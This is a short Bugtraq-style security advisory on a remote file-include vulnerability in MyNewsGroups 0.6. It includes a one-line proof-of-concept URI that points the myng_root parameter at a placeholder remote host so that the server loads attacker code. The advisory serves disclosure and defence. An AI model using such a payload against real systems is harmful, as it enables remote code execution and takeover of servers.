MyNewsGroups Include.PHP Remote File Include Vulnerability

Bugtraq ID:	23646
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 25 2007 12:00AM
Updated:	Apr 25 2007 09:40PM
Credit:	Ali and Saeid are credited with the discovery of this vulnerability.
Vulnerable:	MyNewsGroups MyNewsGroups 0.6
Not Vulnerable:

MyNewsGroups Include.PHP Remote File Include Vulnerability

MyNewsGroups is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects MyNewsGroups 0.6; other versions may also be vulnerable.

MyNewsGroups Include.PHP Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:
http://www.example.com/include.php?myng_root=http://shell

MyNewsGroups Include.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

MyNewsGroups Include.PHP Remote File Include Vulnerability

References:

• Product Vendor (Florian Amrhein)